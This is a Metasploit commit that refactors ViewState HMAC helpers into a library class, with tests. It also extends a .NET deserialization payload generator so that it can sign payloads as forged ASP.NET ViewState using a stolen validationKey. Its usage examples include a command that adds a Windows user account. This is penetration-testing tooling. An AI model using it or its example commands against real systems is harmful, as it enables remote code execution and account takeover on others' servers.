Land #18899, update ysoserial viewstate tool

This commit is contained in:
adfoster-r7 2024-03-14 00:12:38 +00:00 committed by GitHub
commit 55dd5aa9c0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
5 changed files with 257 additions and 80 deletions

View File

@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.
Available formatters:
* BinaryFormatter
* LosFormatter
* SoapFormatter
* BinaryFormatter
* LosFormatter
* SoapFormatter
Available gadget chains:
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity
* ClaimsPrincipal
* DataSet
* DataSetTypeSpoof
* ObjectDataProvider
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
Specific options:
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
-h, --help Show this message
Examples:
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
General options:
-h, --help Show this message
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
ViewState related options:
--viewstate-generator <String>
The ViewState generator string to use
--viewstate-validation-algorithm <String>
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
--viewstate-validation-key <HexString>
The validationKey from the web.config file
```
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the

View File

@ -51,60 +51,29 @@ module Exploit::ViewState
end
def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
# Generate ViewState HMAC from known values and validation key
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
# Append HMAC to provided data and Base64-encode the whole shebang
Rex::Text.encode_base64(data + hmac)
Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key)
end
def generate_viewstate_hmac(data, algo: 'sha1', key: '')
OpenSSL::HMAC.digest(algo, key, data)
Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key)
end
def decode_viewstate(encoded_viewstate, algo: 'sha1')
viewstate = Rex::Text.decode_base64(encoded_viewstate)
decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo)
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
vprint_error('Could not decode ViewState')
return { data: nil, hmac: nil }
end
hmac_len = generate_viewstate_hmac('', algo: algo).length
if (data = viewstate[0...-hmac_len]).empty?
vprint_error('Could not parse ViewState data')
data = nil
end
unless (hmac = viewstate[-hmac_len..-1])
vprint_error('Could not parse ViewState HMAC')
end
{ data: data, hmac: hmac }
vprint_error('Could not parse ViewState data') unless decoded[:data].present?
vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present?
decoded
rescue Rex::Exploit::ViewState::Error => error
vprint_error("#{error.class.name}: #{error.message}")
return { data: nil, hmac: nil }
end
def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
viewstate = decode_viewstate(encoded_viewstate)
unless viewstate[:data]
vprint_error('Could not retrieve ViewState data')
return false
end
unless (their_hmac = viewstate[:hmac])
vprint_error('Could not retrieve ViewState HMAC')
return false
end
our_hmac = generate_viewstate_hmac(
viewstate[:data] + extra,
algo: algo,
key: key
)
# Do we have what it takes?
our_hmac == their_hmac
Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key)
rescue Rex::Exploit::ViewState::Error => error
vprint_error("#{error.class.name}: #{error.message}")
return false
end
# Extract __VIEWSTATE from HTML

View File

@ -0,0 +1,68 @@
# -*- coding: binary -*-
module Rex
module Exploit
class ViewState
class Error < Rex::RuntimeError
end
def self.decode_viewstate(encoded_viewstate, algo: 'sha1')
viewstate = Rex::Text.decode_base64(encoded_viewstate)
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
raise Error.new('Could not decode ViewState')
end
hmac_len = OpenSSL::Digest.new(algo).digest_length
if (data = viewstate[0...-hmac_len]).empty?
data = nil
end
hmac = viewstate[-hmac_len..-1]
unless hmac&.length == hmac_len
raise Error.new('Could not decode ViewState')
end
{ data: data, hmac: hmac }
end
def self.generate_viewstate(data, extra: '', algo: 'sha1', key: '')
# Generate ViewState HMAC from known values and validation key
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
# Append HMAC to provided data and Base64-encode the whole shebang
Rex::Text.encode_base64(data + hmac)
end
def self.generate_viewstate_hmac(data, algo: 'sha1', key: '')
OpenSSL::HMAC.digest(algo, key, data)
end
def self.is_viewstate_valid?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
viewstate = decode_viewstate(encoded_viewstate)
unless viewstate[:data]
raise Error.new('Could not retrieve ViewState data')
end
unless (their_hmac = viewstate[:hmac])
raise Error.new('Could not retrieve ViewState HMAC')
end
our_hmac = generate_viewstate_hmac(
viewstate[:data] + extra,
algo: algo,
key: key
)
# Do we have what it takes?
our_hmac == their_hmac
end
class << self
alias_method :can_sign_viewstate?, :is_viewstate_valid?
end
end
end
end

View File

@ -0,0 +1,67 @@
require 'spec_helper'
require 'rex/version'
require 'rex/text'
# rubocop:disable Lint/DeprecatedGemVersion
RSpec.describe Rex::Exploit::ViewState do
let(:data) { Random.new.bytes(rand(10..100)) }
let(:key) { Random.new.bytes(20) }
context 'when the algorithm is SHA-1' do
let(:algo) { 'sha1' }
describe '.decode_viewstate' do
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }
it 'returns the data and HMAC' do
decoded = described_class.decode_viewstate(encoded, algo: algo)
expect(decoded).to be_a Hash
expect(decoded[:data]).to eq data
expect(decoded[:hmac]).to eq described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end
end
describe '.generate_viewstate' do
it 'generates the HMAC signature' do
expect(described_class).to receive(:generate_viewstate_hmac).with(data, algo: algo, key: key).and_call_original
described_class.generate_viewstate(data, algo: algo, key: key)
end
it 'generates a Base64 encoded blob' do
viewstate = described_class.generate_viewstate(data, algo: algo, key: key)
debase64ed = Rex::Text.decode_base64(viewstate)
expect(debase64ed).to eq data + described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end
end
describe '.generate_viewstate_hmac' do
it 'delegates to OpenSSL::HMAC' do
expect(OpenSSL::HMAC).to receive(:digest).with(algo, key,data)
described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end
it 'generates a 20 byte HMAC' do
hmac = described_class.generate_viewstate_hmac(data, algo: algo, key: key)
expect(hmac.bytesize).to eq 20
end
end
describe '.is_viewstate_valid?' do
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }
it 'raises an Error when it can not be decoded' do
# use key.length / 2 to guarantee there is not enough data for the key to be found
expect { described_class.is_viewstate_valid?(Rex::Text.encode_base64('A' * (key.length / 2))) }.to raise_error(described_class::Error)
end
it 'returns true for the correct key' do
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key)).to be_truthy
end
it 'returns false for the incorrect key' do
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key + '#')).to be_falsey
end
end
end
end

View File

@ -12,6 +12,7 @@ end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', '..', 'lib')))
require 'msfenv'
require 'rex'
require 'rex/exploit/view_state'
require 'optparse'
DND = Msf::Util::DotNetDeserialization
@ -22,10 +23,15 @@ Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.
Available formatters:
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
Available gadget chains:
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
Example: #{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
Examples:
#{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
#{__FILE__} -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \\
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
}.strip
def puts_transform_formats
@ -37,54 +43,96 @@ module YSoSerialDotNet
class OptsConsole
def self.parse(args)
options = {
formatter: DND::DEFAULT_FORMATTER,
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
output_format: 'raw'
formatter: DND::DEFAULT_FORMATTER,
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
output_format: 'raw',
viewstate_generator: '',
viewstate_validation_algorithm: 'SHA1'
}
parser = OptionParser.new do |opt|
opt.banner = BANNER
opt.separator ''
opt.separator 'Specific options:'
opt.separator 'General options:'
opt.on('-h', '--help', 'Show this message') do
$stdout.puts opt
exit
end
opt.on('-c', '--command <String>', 'The command to run') do |v|
options[:command] = v
end
opt.on('-f', '--formatter <String>', "The formatter to use (default: #{DND::DEFAULT_FORMATTER})") do |v|
options[:formatter] = v.to_sym
v = v.to_sym
unless DND::Formatters::NAMES.include?(v)
raise OptionParser::InvalidArgument, "#{v} is not a valid formatter"
end
options[:formatter] = v
end
opt.on('-g', '--gadget <String>', "The gadget chain to use (default: #{DND::DEFAULT_GADGET_CHAIN})") do |v|
v = v.to_sym
unless DND::GadgetChains::NAMES.include?(v)
raise OptionParser::InvalidArgument, "#{v} is not a valid gadget chain"
end
options[:gadget_chain] = v.to_sym
end
opt.on('-o', '--output <String>', 'The output format to use (default: raw, see: --list-output-formats)') do |v|
normalized = o.downcase
unless Msf::Simple::Buffer.transform_formats.include?(normalized)
raise OptionParser::InvalidArgument, "#{v} is not a valid output format"
end
options[:output_format] = v.downcase
end
opt.on_tail('--list-output-formats', 'List available output formats, for use with --output') do |v|
opt.on('--list-output-formats', 'List available output formats, for use with --output') do |v|
puts_transform_formats
exit
end
opt.on_tail('-h', '--help', 'Show this message') do
$stdout.puts opt
exit
opt.separator ''
opt.separator 'ViewState related options:'
opt.on('--viewstate-generator <String>', 'The ViewState generator string to use') do |v|
unless v =~ /^[a-f0-9]{8}$/i
raise OptionParser::InvalidArgument, 'must be 8 hex characters, e.g. DEAD1337'
end
options[:viewstate_generator] = [v.to_i(16)].pack('V')
end
opt.on('--viewstate-validation-algorithm <String>', 'The validation algorithm (default: SHA1, see: Available HMAC algorithms)') do |v|
normalized = v.upcase.delete_prefix('HMAC')
unless %w[SHA1 SHA256 SHA384 SHA512 MD5].include?(normalized)
raise OptionParser::InvalidArgument, "#{v} is not a valid algorithm"
end
# in some instances OpenSSL may not include all the algorithms that we might expect, so check for that
unless OpenSSL::Digest.constants.include?(normalized.to_sym)
raise RuntimeError, "OpenSSL does not support the #{normalized} digest"
end
options[:viewstate_validation_algorithm] = normalized
end
opt.on('--viewstate-validation-key <HexString>', 'The validationKey from the web.config file') do |v|
unless v =~ /^[a-f0-9]{2}+$/i
raise OptionParser::InvalidArgument, 'must be in hex'
end
options[:viewstate_validation_key] = v.scan(/../).map { |x| x.hex.chr }.join
end
end
parser.parse!(args)
if options.empty?
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
elsif options[:command].blank?
if options[:command].blank?
raise OptionParser::MissingArgument, '-c is required'
elsif !DND::Formatters::NAMES.include?(options[:formatter])
raise OptionParser::InvalidArgument, "#{options[:formatter]} is not a valid formatter"
elsif !DND::GadgetChains::NAMES.include?(options[:gadget_chain])
raise OptionParser::InvalidArgument, "#{options[:gadget_chain]} is not a valid gadget chain"
elsif !Msf::Simple::Buffer.transform_formats.include?(options[:output_format])
raise OptionParser::InvalidArgument, "#{options[:output_format]} is not a valid output format"
end
options
@ -110,11 +158,19 @@ module YSoSerialDotNet
formatter: @opts[:formatter]
)
if @opts[:viewstate_validation_key]
serialized = Rex::Exploit::ViewState.generate_viewstate(
serialized,
extra: @opts[:viewstate_generator],
algo: @opts[:viewstate_validation_algorithm],
key: @opts[:viewstate_validation_key]
)
end
transformed = ::Msf::Simple::Buffer.transform(serialized, @opts[:output_format])
$stderr.puts "Size: #{transformed.length}"
$stdout.puts transformed
end
end
end